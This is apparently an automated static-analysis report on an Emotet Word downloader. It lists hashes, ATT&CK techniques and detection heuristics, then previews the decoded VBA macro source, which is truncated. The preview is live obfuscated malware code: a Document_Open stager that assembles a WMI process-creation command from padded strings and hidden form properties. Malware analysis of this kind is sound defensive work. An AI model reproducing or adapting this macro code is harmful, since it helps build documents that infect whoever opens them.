Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 18f9ecd2f813f7b2…

MALICIOUS

Office (OLE)

224.6 KB Created: 2020-08-27 08:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 860a67e8e5fa57af4e6f06eeb6be2836 SHA-1: 8a470d9d5f611cf64dc2517c99bf35d7fb8e7415 SHA-256: 18f9ecd2f813f7b20f777e51a264236a903bc3907448410cded9f30b249e1289
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros with a Document_Open auto-execution routine, indicative of a downloader. Heuristics specifically flag a hidden UserForm command stager and obfuscated VBA code, which are common Emotet techniques. The ClamAV signature also directly identifies it as an Emotet downloader. The VBA code's obfuscation and use of mathematical operations suggest it is preparing to execute a payload, likely downloaded from an external source.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9239 bytes
SHA-256: 8b93416e0d4e8ed1301e23bd14a33edd647c51f7b1f5635959c62c35ce6d403a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ogwj7dz9yz6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Cpylr5czo_dt.Nwlvq1qunhvxe
End Sub


Attribute VB_Name = "Cpylr5czo_dt"
Attribute VB_Base = "0{4AC8E6A5-B599-413A-85D8-81A8FB482D1B}{3E74C5AA-5594-4293-A48F-9EFFF573E412}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Nwlvq1qunhvxe()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Gilcp3gswl3sfo0pqz = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Zuj2d0co751s5lkt = ChrW(Gilcp3gswl3sfo0pqz + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Khwqtqoeb5tlzjq0r4 = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Zuj2d0co751s5lkt + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Cpylr5czo_dt.Gsm427kxyw82m41i + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
G24lp96fyuoy08tp7 = Lmwxjmutqqp4ujh0(Khwqtqoeb5tlzjq0r4)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Lu7gu84qmnx3w1uil = Cpylr5czo_dt.Lrwalh7cpnl3fd9.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
S3tc33mphau5 = O19w4vwk0k_ofw + (G24lp96fyuoy08tp7 + Zuj2d0co751s5lkt + Cpylr5czo_dt.Bq9sqz9e483y.ControlTipText + Lu7gu84qmnx3w1uil)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS
... (truncated)

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